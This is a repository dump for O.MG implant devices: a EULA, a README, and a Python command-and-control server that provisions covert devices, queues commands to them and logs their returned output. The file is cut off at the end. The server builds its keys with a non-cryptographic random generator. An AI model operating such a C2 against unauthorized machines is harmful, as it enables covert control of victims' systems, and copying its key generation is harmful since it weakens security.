[
{
"path": ".gitignore",
"content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n# Usually these files are written by a python script from a template\n# before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n# However, in case of collaboration, if having platform-specific dependencies or dependencies\n# having no cross-platform support, pipenv may install dependencies that don't work, or not\n# install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n.DS_Store\n*.pem\n\n"
},
{
"path": "LICENSE",
"content": "SOFTWARE LICENSE AGREEMENT IMPORTANT - PLEASE READ CAREFULLY: THIS END-USER LICENSE AGREEMENT (\"EULA\" OR \"AGREEMENT\") IS A LEGAL AGREEMENT BETWEEN YOU (EITHER AN INDIVIDUAL OR A SINGLE ENTITY) (\"YOU\" OR \"USER\") AND MISCHIEF GADGETS LLC, OF 548 MARKET STREET #61961, SAN FRANCISCO, CALIFORNIA, 94104 (\"OWNER\"). BY USING ANY MISCHIEF GADGETS PRODUCT OR ANY PROPRIETARY SOFTWARE DEVELOPED BY THE OWNER (\"SOFTWARE\"), THE USER, EITHER ON BEHALF OF YOURSELF AS AN INDIVIDUAL OR ON BEHALF OF AN ENTITY AS ITS AUTHORIZED REPRESENTATIVE, AGREES TO ALL OF THE TERMS OF THIS AGREEMENT. BY INSTALLING, COPYING, OR OTHERWISE USING THE SOFTWARE, YOU AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, DO NOT INSTALL OR USE THE PRODUCTS OR SOFTWARE.\n\nGRANT OF LICENSE The SOFTWARE is protected by copyright laws and laws protecting the confidentiality of trade secrets. The SOFTWARE is licensed, not sold. Any supplemental software or software code, provided to the USER as part of support, shall be considered part of the SOFTWARE and subject to the terms and conditions of this AGREEMENT. Subject to the terms of this AGREEMENT, OWNER hereby grants USER a non-transferable license to use the SOFTWARE for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable. USER is solely responsible for compliance with all laws of their locality.\n\nLICENSE RESTRICTIONS The USER may not: (a) Reverse engineer, decompile, or disassemble any portions of the SOFTWARE, or allow others to do so, except and only to the extent that such activity is expressly permitted by applicable law, notwithstanding this limitation; (b) Distribute the SOFTWARE or any derivative works based upon the SOFTWARE, in whole or in part, to any third-party or entity without prior written authorization from the OWNER; (c) Resell, lease, rent, transfer, sub-license, or otherwise transfer rights to the SOFTWARE to any third-party or entity without prior written authorization from the OWNER; (d) Copy, clone, duplicate, or distribute copies of the SOFTWARE from one computer to another, or electronically transfer the SOFTWARE from one computer to another over any public or private network, without prior written authorization from the OWNER; (e) Use the SOFTWARE for any unlawful or unethical purpose or deploy the SOFTWARE to any computer system which the USER has no legal right to access; (f) Attempt in any way to obliterate or destroy the trade secret or copyright notice that is incorporated into and part of the SOFTWARE. The USER must reproduce fully the trade secret or copyright notice in all copies of the SOFTWARE. (g) USE THE SOFTWARE IN ANY APPLICATION WHERE THE SOFTWARE MAY RESULT IN DEATH, PERSONAL INJURY OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE.\n\nTITLE, OWNERSHIP, INTELLECTUAL PROPERTY YOU acknowledge that no title to the SOFTWARE or the intellectual property contained within it is transferred to YOU, the USER. The OWNER retains exclusive ownership of all rights, title and interest in and to the SOFTWARE, source code, and intellectual property. It is understood and agreed that the SOFTWARE, including any accompanying scripts and support files, is copyrighted by the OWNER and may not be reproduced and/or redistributed without the advanced written consent of the OWNER except where expressly permitted under this AGREEMENT. The SOFTWARE is protected by copyright laws, and the USER must treat the SOFTWARE like any other copyrighted material except the USER may install the SOFTWARE as provided by this AGREEMENT. Any rights not expressly granted are reserved by the OWNER.\n\nMAINTENANCE The OWNER shall not be obligated to provide maintenance and/or updates and/or fixes for the SOFTWARE; however, any such maintenance and/or updates and/or fixes provided by the OWNER shall be covered by this AGREEMENT.\n\nEXPORT CONTROL As required by U.S. law, the USER represents and warrants that it: (a) Is not located in a prohibited destination country under U.S. sanctions regulations; (b) Will not export, re-export, or transfer the SOFTWARE to any prohibited destination, entity, or individual without the necessary export license(s) or authorization(s) from the U.S. Government; (c) Will not use or transfer the SOFTWARE for use in any sensitive nuclear, chemical or biological weapons, or missile technology end-uses unless authorized by the U.S. Government by regulation or specific license; (d) Understands and agrees that if it is in the United States and exports or transfers the SOFTWARE to eligible end users, it will comply with U.S. export regulations and laws; and (e) Understands that countries other than the United States may restrict the import, use, or export of encryption products and that it shall be solely responsible for compliance with any such import, use, or export restrictions.\n\nTERMINATION The USER may terminate this AGREEMENT at any time by uninstalling the SOFTWARE and destroying all copies of the SOFTWARE in possession of the USER. This AGREEMENT shall terminate automatically if the USER fails to comply with the terms of this AGREEMENT. Upon termination, the USER must uninstall and destroy all copies of the SOFTWARE and all of its components. TERMINATION OF THIS AGREEMENT SHALL NOT RELIEVE THE USER OF ITS OBLIGATIONS REGARDING THE PROTECTION OF COPYRIGHTS AND TRADE SECRETS RELATING TO THE PRODUCT.\n\nDISCLAIMER OF WARRANTY THE OWNER EXPRESSLY DISCLAIMS ANY WARRANTY FOR THE SOFTWARE. THE SOFTWARE IS PROVIDED \"AS IS\" AND WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE OWNER DISCLAIMS ALL WARRANTIES, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. THE OWNER DOES NOT WARRANT OR ASSUME RESPONSIBILITY FOR THE ACCURACY OR COMPLETENESS OF ANY INFORMATION, TEXT, GRAPHICS, LINKS, OR OTHER ITEMS CONTAINED WITHIN THE SOFTWARE. THE OWNER MAKES NO WARRANTIES RESPECTING ANY HARM THAT MAY BE CAUSED BY THE TRANSMISSION OF A COMPUTER VIRUS, WORM, OR OTHER SUCH COMPUTER PROGRAM. THE OWNER FURTHER EXPRESSLY DISCLAIMS ANY WARRANTY OR REPRESENTATION TO USER OR TO ANY THIRD PARTY.\n\nLIMITATION OF LIABILITY THE ENTIRE RISK ARISING OUT OF THE USE AND/OR PERFORMANCE OF THE PRODUCT AND/OR DOCUMENTATION REMAINS WITH THE USER TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, AND IN NO EVENT SHALL THE OWNER BE LIABLE FOR ANY CONSEQUENTIAL, INCIDENTAL, DIRECT, INDIRECT, SPECULATIVE, PUNITIVE, OR OTHER DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) ARISING OUT OF THIS AGREEMENT OR THE USE OF OR INABILITY TO USE THE PRODUCT, EVEN IF THE OWNER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE OWNER SHALL HAVE NO LIABILITY WITH RESPECT OF THE CONTENT OF THE SOFTWARE OR ANY PART THEREOF, INCLUDING BUT NOT LIMITED TO ERRORS OR OMISSIONS CONTAINED THEREIN, LIBEL, INFRINGEMENTS OF RIGHTS OF PUBLICITY, PRIVACY, TRADEMARK RIGHTS, BUSINESS INTERRUPTION, PERSONAL INJURY, LOSS OF PRIVACY, MORAL RIGHTS OR THE DISCLOSURE OF CONFIDENTIAL INFORMATION. ANY LIABILITY OF THE OWNER SHALL BE EXCLUSIVELY LIMITED TO THE PRODUCT REPLACEMENT OR RETURN OF THE PURCHASE/LICENSING PRICE. NO OTHER ADVERTISING, DESCRIPTION OR REPRESENTATION, WHETHER OR NOT MADE BY THE OWNER OR THE OWNER'S DEALER, DISTRIBUTOR, AGENT OR EMPLOYEE, SHALL BE BINDING UPON THE OWNER OR SHALL CHANGE THE TERMS OF THIS WARRANTY.\n\nUSER REMEDIES The OWNER'S entire liability and YOUR exclusive remedy shall be, at the OWNER's option, either (a) return of the price paid, or (b) replacement of the SOFTWARE.\n\nGOVERNING LAW This AGREEMENT shall be governed by and construed in accordance with the laws of the State of California.\n\nENTIRE AGREEMENT This AGREEMENT constitutes the entire understanding between the OWNER and the USER. The USER agrees that this is the entire agreement between the USER and the OWNER, and supersedes any prior agreement, whether written or oral, and all other communications between the OWNER and the USER relating to the subject matter of this AGREEMENT and cannot be altered or modified, except in writing.\n\nRESERVATION OF RIGHTS All rights not expressly granted under this AGREEMENT are reserved entirely to the OWNER.\n\nHEADINGS AND CAPTIONS The captions of this AGREEMENT are for convenience and reference only, and in no way define or limit the intent, rights, or obligations of the parties hereunder. Additionally, any heading preceding the text of any of the paragraphs in this AGREEMENT are inserted solely for convenience of reference and shall not constitute a part of the AGREEMENT, nor shall they affect the meaning, construction or effect of any of the paragraphs of the AGREEMENT.\n\nBINDING EFFECT This AGREEMENT and the terms and conditions of this AGREEMENT shall be binding upon the parties to this AGREEMENT and their respective heirs, personal representatives and assigns.\n\nINTERPRETATION No provision of this AGREEMENT shall be interpreted for or against any party to this AGREEMENT by reason of the fact that the party or his/ her counsel or legal representative drafted all or any part of this AGREEMENT.\n\nATTORNEY'S FEES In any action under this AGREEMENT, the prevailing party shall be entitled to reasonable attorney's fees set by the Court or by arbitration.\n\nSEVERABILITY Should any provision of this AGREEMENT be found, held or deemed to be unenforceable, voidable, or void as contrary to law or public policy under the state of California or other appropriate jurisdiction, the parties intend and agree that the remaining provisions shall nevertheless continue in full force and be binding upon the parties, their heirs, personal representatives, and assigns.\n"
},
{
"path": "README.md",
"content": "This is for all versions of the O.MG Cable, O.MG Adapter, and O.MG Plug\n\n\n\n# [Setup Instructions & Latest Firmware](https://github.com/O-MG/O.MG-Firmware/wiki)\n\n\n\n"
},
{
"path": "c2server/c2server.py",
"content": "import json\nimport os\nimport random as rnd\nimport socket\nimport sys\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer, SimpleHTTPRequestHandler, ThreadingHTTPServer\nimport threading\nimport urllib.request\nimport re\nfrom urllib.parse import urlparse, parse_qs\nfrom datetime import datetime\nimport monocypher as mono\n\nprovisionFile_ver = 3\nSESSION_LIFESPAN = 120\nserverPort = 8000\nadminPort = 8080\n\ndef get_ip_address():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ip_address = s.getsockname()[0]\n s.close()\n return ip_address\n except Exception as e:\n print(\"Error occurred while getting IP address:\", e)\n return None\n\n\nip_address = get_ip_address()\nif ip_address:\n print(\"The computer's current IP address is:\", ip_address)\nelse:\n print(\"Could not determine the computer's IP address.\")\nhostName = ip_address\n\n\ndef write_c2log(alias, direction, msg):\n with open(\"c2log\", \"a\") as f:\n timestamp = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n f.write(f\"{alias}, {timestamp}, {direction}, {msg}\\n\")\n\nclass c2server(BaseHTTPRequestHandler):\n def end_headers(self):\n self.send_header('Access-Control-Allow-Origin', '*')\n self.send_header('Access-Control-Allow-Methods', 'GET,POST')\n self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n SimpleHTTPRequestHandler.end_headers(self)\n\n \n def do_GET(self):\n i = self.path.find(\"/C2=\")\n if i < 0:\n return\n\n print(\"------ ------------------ \", self.path[i:])\n\n raw_msg = bytearray.fromhex(self.path[i + 4:])\n msg_size = (len(self.path) - 4) / 2\n resp = the_host.process_message(raw_msg, msg_size)\n\n self.send_response(200)\n if resp is not None:\n self.wfile.write(bytes(resp.hex(), \"utf-8\"))\n\n def do_POST(self):\n length = int(self.headers['Content-Length'])\n body = self.rfile.read(length)\n print(f\"------ ------------------ len: {length}\")\n\n resp = the_host.process_message(body, length)\n\n if resp is not None:\n self.wfile.write(bytes(resp.hex(), \"utf-8\"))\n\n\nclass c2admin(SimpleHTTPRequestHandler):\n def end_headers(self):\n self.send_header('Access-Control-Allow-Origin', '*')\n self.send_header('Access-Control-Allow-Methods', 'GET,POST')\n self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n SimpleHTTPRequestHandler.end_headers(self)\n\n def handle_C2admin(self):\n with open(\"c2config\", \"r\") as f:\n content = f.read()\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.end_headers()\n self.wfile.write(content.encode(\"utf-8\"))\n \n def handle_C2log(self, alias=None, abridge=True):\n if os.path.exists(\"c2log\"):\n with open(\"c2log\", \"r\") as f:\n lines = f.readlines()\n \n if alias is not None:\n lines = [line for line in lines if line.startswith(alias)]\n \n if abridge:\n lines = [line for line in lines if not re.search(r'.*, out, \\n', line)]\n \n content = \"\".join(lines)\n \n self.send_response(200)\n self.send_header(\"Content-type\", \"text/csv\")\n self.end_headers()\n self.wfile.write(content.encode(\"utf-8\"))\n else:\n log(\"No c2log file exists.\")\n with open(\"c2log\", 'w') as f:\n f.write(\"\")\n\n def do_GET(self):\n url = urlparse(self.path)\n query_params = parse_qs(url.query)\n alias = query_params.get('alias', [None])[0]\n abridge = query_params.get('abridge', [False])[0]\n \n if url.path == \"/C2admin\":\n self.handle_C2admin()\n elif url.path == \"/C2log\":\n self.handle_C2log(alias, abridge)\n elif url.path == \"/\" or url.path == \"/index.html\":\n self.path = \"/index.html\"\n super().do_GET()\n else:\n self.send_response(404)\n self.end_headers()\n \n def do_POST(self):\n if self.path == \"/C2admin\":\n content_len = int(self.headers.get(\"Content-Length\"))\n body = self.rfile.read(content_len)\n body_decoded = body.decode(\"utf-8\")\n body_data = json.loads(body.decode(\"utf-8\"))\n alias = body_data.get(\"alias\", \"\")\n action = body_data.get(\"action\", \"\")\n data = body_data.get(\"data\", \"\")\n \n commands = [\n \"CI\",\n \"CV\",\n \"CWInfo\",\n \"CNGet\",\n \"CTList\",\n \"CFList\",\n \"CWStatus\",\n \"CEStatus\",\n \"CLStatus\",\n \"CHStatus\",\n \"C2Status\",\n \"C2Info\"\n ]\n \n client_id = next((device[\"client_id\"] for device in config.devices if device[\"alias\"] == alias), None)\n client = the_host.clients.get(client_id)\n if client and action == \"queueAdd\":\n if data not in client.cmd_queue:\n client.cmd_queue.append(data)\n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n elif client and action == \"queueDelete\":\n try:\n data_int = int(data)\n log(data_int)\n client.cmd_queue.pop(data_int)\n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n except (ValueError, IndexError):\n self.send_response(400)\n self.end_headers()\n elif client and action == \"queueClear\":\n client.cmd_queue = []\n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n elif client and action == \"logClear\":\n print(alias);\n if alias == \"clearAllLogs\":\n with open(\"c2log\", \"w\") as f:\n f.write(\"\")\n \n for device_client in the_host.clients.values():\n device_client.cmd_queue = commands + device_client.cmd_queue\n else:\n with open(\"c2log\", \"r\") as f:\n lines = f.readlines()\n lines = [line for line in lines if not line.startswith(alias)]\n with open(\"c2log\", \"w\") as f:\n f.writelines(lines)\n \n client.cmd_queue = commands + client.cmd_queue\n \n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n elif client and action == \"logClearAll\":\n with open(\"c2log\", \"w\") as f:\n f.write(\"\")\n \n for device_client in the_host.clients.values():\n device_client.cmd_queue = commands + device_client.cmd_queue\n \n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n elif client and action == \"pollInterval\":\n alias = body_data.get(\"alias\", \"\")\n data = body_data.get(\"data\", {})\n \n matching_device = next((device for device in config.devices if device[\"alias\"] == alias), None)\n if matching_device is not None:\n for key in [\"poll_seconds\", \"fast_seconds\", \"contact_seconds\"]:\n if key in data:\n matching_device[key] = data[key]\n \n config.save_provision_files()\n self.send_response(200)\n self.end_headers()\n else:\n self.send_response(400)\n self.end_headers()\n else:\n super().do_POST()\n\n\nclass Host:\n session_count = 0\n clients = {}\n sessions = {}\n\n class ClientData:\n def __init__(self, client_id, alias, client_exchange_key, cmd_queue):\n self.client_id = client_id\n self.alias = alias\n self.exchange_key = client_exchange_key\n self.cmd_queue = cmd_queue if cmd_queue else [\n \"CI\",\n \"CV\",\n \"CWInfo\",\n \"CNGet\",\n \"CTList\",\n \"CFList\",\n \"CWStatus\",\n \"CEStatus\",\n \"CLStatus\",\n \"CHStatus\",\n \"C2Status\",\n \"C2Info\"\n ]\n\n class SessionData:\n def __init__(self, session_id, session_key, client_id, device_id, expires, interface_version):\n self.session_id = session_id\n self.session_key = session_key\n self.client_id = client_id\n self.device_id = device_id\n self.expires = expires\n self.ver = interface_version\n self.msg_count = 0\n self.next_cmd = 0\n\n def __init__(self, host_private_key, host_public_key):\n self.host_private_key = bytes.fromhex(host_private_key) if host_private_key else None\n self.public_key = bytes.fromhex(host_public_key) if host_public_key else None\n self.session_lifespan = SESSION_LIFESPAN\n\n config = c2config(self.public_key, self.host_private_key, ip_address, serverPort, adminPort)\n\n for device in config.devices:\n client_id = device['client_id']\n alias = device['alias']\n client_public_key = bytes.fromhex(device['client_public_key'])\n client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)\n cmd_queue = device.get('cmd_queue', None)\n client = self.ClientData(client_id, alias, client_exchange_key, cmd_queue)\n self.clients[client_id] = client\n\n def provision(self, alias, poll_seconds, fast_seconds, contact_seconds):\n global config\n\n for device in config.devices:\n if device['alias'] == alias:\n print(f\"Warning: Existing Device Alias {alias} already exists. Provisioning did not continue.\")\n return\n\n self.session_count += 1\n client_id = rnd.randint(0, 1000000)\n client_secret_key = gen_random(32)\n client_public_key = mono.compute_key_exchange_public_key(client_secret_key)\n client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)\n client = self.ClientData(client_id, alias, client_exchange_key, None)\n self.clients[client_id] = client\n\n provision_data = {\n 'alias': alias,\n 'client_id': client_id,\n 'client_public_key': client_public_key.hex(),\n 'poll_seconds': poll_seconds,\n 'fast_seconds': fast_seconds,\n 'contact_seconds': contact_seconds\n }\n\n config.devices.append(provision_data)\n config.save_provision_files()\n\n log(\"Provisioned [{}] alias: {}\".format(client_id, alias))\n\n print(f\"---------- Provision-file: {alias} ----------\")\n device_config = f\"host_pk = {self.public_key.hex()},host_url = {hostName},host_port = {serverPort},host_path = \\\"\\\",client_id = {client_id},client_sk = {client_secret_key.hex()},poll_rate = {poll_seconds},fast_rate = {fast_seconds},contact_rate = {contact_seconds}\"\n print(device_config)\n print('\\n\\nPlease copy the above Provision-file, log into your O.MG Elite Device’s WebUI, go to Settings -> Net -> C2Config and paste the results, and then press \"Change Settings” to apply.')\n def make_err_msg(self, err_code, err_text):\n print(\"***** Sending Error \", err_code, err_text)\n wrapper = MsgWrapper(109, err_code)\n return wrapper.secure_msg()\n\n def handle_hello(self, hello_msg, client):\n print(\"<<<<< Hello Msg >>>>>\")\n client_id = client.client_id\n device_id = hello_msg.plain_msg[4:10]\n ver = 1\n if hello_msg.msg_size > 10:\n ver = int.from_bytes(hello_msg.plain_msg[10:11], 'little')\n \n for key in self.sessions:\n session = self.sessions[key]\n if session.client_id == client_id and session.device_id == device_id:\n del (self.sessions[key])\n break\n \n session_key = gen_random(32)\n not_unique = True\n while not_unique:\n session_id = rnd.randint(0, 1000000)\n not_unique = session_id in self.sessions\n expires = int(time.time()) + self.session_lifespan + 5\n self.sessions[session_id] = self.SessionData(session_id, session_key, client_id, device_id, expires, ver)\n print(f\"Session id: {session_id}, ver: {ver}, key: {session_key.hex()}\")\n \n # Fetch the per-device values from the c2config device entry with the matching client_id\n matching_device = next((device for device in config.devices if device[\"client_id\"] == client.client_id), None)\n if matching_device is not None:\n poll_seconds = matching_device.get(\"poll_seconds\", self.session_lifespan)\n fast_seconds = matching_device.get(\"fast_seconds\", self.session_lifespan)\n contact_seconds = matching_device.get(\"contact_seconds\", poll_seconds)\n else:\n poll_seconds = fast_seconds = contact_seconds = self.session_lifespan\n \n \n plain_resp = HelloResponse(session_id, session_key, self.session_lifespan, poll_seconds, fast_seconds, contact_seconds)\n resp = MsgWrapper(101, plain_resp.text, len(plain_resp.text))\n resp.encrypt(client.exchange_key)\n wrapped_msg = resp.secure_msg()\n print(\" secure msg: \", wrapped_msg.hex())\n return wrapped_msg\n\n def handle_poll(self, poll_msg, session):\n seq_no = int.from_bytes(poll_msg.plain_msg[4:8], 'little')\n script_status = int.from_bytes(poll_msg.plain_msg[8:9], 'little')\n print(f\"<<<<< Poll Msg #{seq_no} - SS: {script_status}>>>>>\")\n\n client = self.clients[session.client_id]\n\n if len(client.cmd_queue) == 0:\n cmd = \"\"\n else:\n cmd = client.cmd_queue[session.next_cmd % len(client.cmd_queue)]\n\n cmd_len = len(cmd)\n if cmd_len == 0:\n is_more = 0\n else:\n is_more = 1\n if cmd.startswith(\"CE\") and not cmd.startswith(\"CEStatus\"):\n if session.ver > 1 and script_status != 0:\n cmd = \"\"\n else:\n session.next_cmd += 1\n else:\n session.next_cmd += 0\n\n if len(cmd):\n print(f\">>>>> Running command {cmd}\")\n else:\n print(\">>>>> Idle (No command sent)\")\n\n msg = CommandMsg(seq_no, bytes(cmd, \"utf-8\"), is_more)\n resp = MsgWrapper(102, msg.text, len(msg.text))\n resp.encrypt(session.session_key)\n wrapped_msg = resp.secure_msg()\n\n client = self.clients[session.client_id]\n write_c2log(client.alias, \"out\", cmd)\n\n return wrapped_msg\n\n def handle_response(self, command_response, session):\n seq_no = int.from_bytes(command_response.plain_msg[0:4], 'little')\n resp_size = int.from_bytes(command_response.plain_msg[4:6], 'little')\n cmd_offset = 7\n \n try:\n response = command_response.plain_msg[7:].decode('utf-8')\n except UnicodeDecodeError:\n hex_response = command_response.plain_msg[7:].hex()\n split_hex = hex_response.split(\"09\", 1)\n if len(split_hex) > 1:\n try:\n first_part = bytes.fromhex(split_hex[0]).decode('utf-8')\n response = first_part + '\\t' + split_hex[1]\n except UnicodeDecodeError:\n response = hex_response\n else:\n response = hex_response\n \n print(f\"<<<<< Output for #{seq_no} >>>>> size: {resp_size} ({len(command_response.plain_msg[7:])})\")\n print(response)\n \n client = self.clients[session.client_id]\n write_c2log(client.alias, \"in \", response)\n \n cmd = client.cmd_queue.pop(0) # Remove the cmd from the cmd_queue\n config.save_provision_files()\n\n def handle_error(self, err_msg, session):\n log(\"Device error: \" + err_msg.plain_text)\n\n def process_message(self, raw_msg, raw_len):\n if raw_len < 47:\n return self.make_err_msg(101, \"Bad message, too short\")\n\n msg = MsgWrapper(raw_msg)\n\n if msg.msg_type == 1:\n if msg.id not in self.clients:\n return self.make_err_msg(102, \"Unknown client-id\")\n client = self.clients[msg.id]\n key = client.exchange_key\n else:\n if msg.id not in self.sessions:\n config.load_provision_files()\n return self.make_err_msg(103, \"Unknown session-id\")\n session = self.sessions[msg.id]\n if session.expires < int(time.time()):\n return self.make_err_msg(104, \"Session has expired\")\n key = session.session_key\n\n if not msg.decrypt(key):\n return self.make_err_msg(105, \"Invalid encryption\")\n\n if msg.msg_type == 1:\n return self.handle_hello(msg, client)\n if msg.msg_type == 2:\n return self.handle_poll(msg, session)\n elif msg.msg_type == 3:\n return self.handle_response(msg, session)\n elif msg.msg_type == 9:\n return self.handle_error(msg, session)\n\n return self.make_err_msg(106, \"Unknown message-type\")\n\n\nclass HelloResponse:\n def __init__(self, session_id, session_key, expiry, poll_seconds, fast_seconds, contact_seconds):\n self.text = bytearray()\n self.text.extend(session_id.to_bytes(4, 'little'))\n self.text.extend(expiry.to_bytes(4, 'little'))\n self.text.extend(session_key)\n self.text.extend(poll_seconds.to_bytes(4, 'little'))\n self.text.extend(fast_seconds.to_bytes(4, 'little'))\n self.text.extend(contact_seconds.to_bytes(4, 'little'))\n\nclass CommandMsg:\n def __init__(self, seq, command, is_more):\n cmd_len = len(command)\n self.text = bytearray()\n self.text.extend(seq.to_bytes(4, 'little'))\n self.text.extend(cmd_len.to_bytes(2, 'little'))\n self.text.extend(is_more.to_bytes(1, 'little'))\n self.text.extend(command)\n print(\" is_more: \", is_more)\n\n\nclass MsgWrapper:\n def __init__(self, *args):\n if len(args) == 1:\n msg = args[0]\n self.msg_type = msg[0]\n self.id = int.from_bytes(msg[1:5], 'little')\n self.nonce = msg[5:29]\n self.mac = msg[29:45]\n if self.msg_type != 9:\n self.msg_size = int.from_bytes(msg[45:47], 'little')\n self.err_code = 0\n else:\n self.err_code = int.from_bytes(msg[45:47], 'little')\n self.msg_size = 0\n self.encoded = msg[47:47 + self.msg_size]\n self.plain_msg = None\n else:\n self.msg_type = args[0]\n self.id = 0\n self.nonce = None\n self.mac = None\n self.encoded = None\n if len(args) == 2:\n self.err_code = args[1]\n self.msg_size = 0\n else:\n self.plain_msg = args[1]\n self.msg_size = args[2]\n self.err_code = 0\n\n def encrypt(self, key):\n if self.msg_type == 109:\n return\n\n self.nonce = gen_random(24)\n self.mac, self.encoded = mono.lock(key, self.nonce, self.plain_msg)\n\n def decrypt(self, key):\n if self.msg_type == 9:\n return\n\n self.plain_msg = mono.unlock(key, self.nonce, self.mac, self.encoded)\n if self.plain_msg is None:\n print(\" Decrypt failed\")\n return False\n return True\n\n def secure_msg(self):\n msg = bytearray()\n msg.extend(self.msg_type.to_bytes(1, 'little'))\n msg.extend(self.id.to_bytes(4, 'little'))\n if self.msg_type == 9 or self.msg_type == 109:\n msg.extend(bytearray(40))\n msg.extend(self.err_code.to_bytes(2, 'little'))\n else:\n msg.extend(self.nonce)\n msg.extend(self.mac)\n msg.extend(self.msg_size.to_bytes(2, 'little'))\n msg.extend(self.encoded)\n return msg\n\n\ndef log(err_text):\n print(\" \", err_text)\n\n\ndef gen_random(size):\n return bytes(rnd.randint(0, 255) for _ in range(size))\n\n\nclass c2config:\n def __init__(self, host_public_key, host_private_key, host_url, host_port, admin_port):\n self.host_public_key = host_public_key\n self.host_private_key = host_private_key\n self.host_url = host_url\n self.host_port = host_port\n self.admin_port = admin_port\n self.devices = []\n\n if os.path.exists(\"c2config\"):\n self.load_provision_files()\n else:\n print(\"No c2config file exists.\")\n print('You must provision an O.MG Elite Device before you can use.\\n\\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\\n')\n self.host_private_key = gen_random(32).hex() # Generate host private key\n self.host_public_key = mono.compute_key_exchange_public_key(\n bytes.fromhex(self.host_private_key)).hex() # Compute host public key\n self.save_provision_files() # Save the generated keys\n\n def save_provision_files(self):\n devices_with_cmd_queue = []\n for device in self.devices:\n client = the_host.clients[device['client_id']]\n device_with_cmd_queue = device.copy()\n device_with_cmd_queue['cmd_queue'] = client.cmd_queue\n devices_with_cmd_queue.append(device_with_cmd_queue)\n\n config_data = {\n 'host_public_key': self.host_public_key,\n 'host_private_key': self.host_private_key,\n 'host_url': self.host_url,\n 'host_port': self.host_port,\n 'admin_port': self.admin_port,\n 'devices': devices_with_cmd_queue\n }\n with open(\"c2config\", 'w') as f:\n json.dump(config_data, f, indent=4)\n\n def load_provision_files(self):\n try:\n with open(\"c2config\", 'r') as f:\n if os.path.getsize(\"c2config\") == 0:\n self.devices = []\n else:\n config_data = json.load(f)\n self.host_public_key = config_data['host_public_key']\n self.host_private_key = config_data['host_private_key']\n self.host_url = config_data['host_url']\n self.host_port = config_data['host_port']\n self.admin_port = config_data['admin_port']\n self.devices = config_data['devices']\n except FileNotFoundError:\n self.devices = []\n self.host_private_key = gen_random(32).hex()\n self.host_public_key = mono.compute_key_exchange_public_key(\n bytes.fromhex(self.host_private_key)).hex()\n self.save_provision_files()\n except json.JSONDecodeError:\n self.devices = []\n\ndef validate_arguments(argv):\n if (len(argv) - 2) % 4 != 0:\n return False, \"\\nERROR: Incorrect number of arguments.\\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\\n\"\n try:\n for i in range(2, len(argv), 4):\n int(argv[i + 1])\n int(argv[i + 2])\n int(argv[i + 3])\n except ValueError:\n return False, \"ERROR: Expected integer values for poll_seconds, fast_seconds, and contact_seconds.\\n\"\n return True, \"\"\n\n\nrnd.seed()\nwebServer = None\n\nif __name__ == \"__main__\":\n config = c2config(None, None, ip_address, serverPort, adminPort)\n the_host = Host(config.host_private_key, config.host_public_key)\n\n for device in config.devices:\n client_id = device['client_id']\n alias = device['alias']\n client_exchange_key = mono.key_exchange(the_host.host_private_key, bytes.fromhex(device['client_public_key']))\n client = 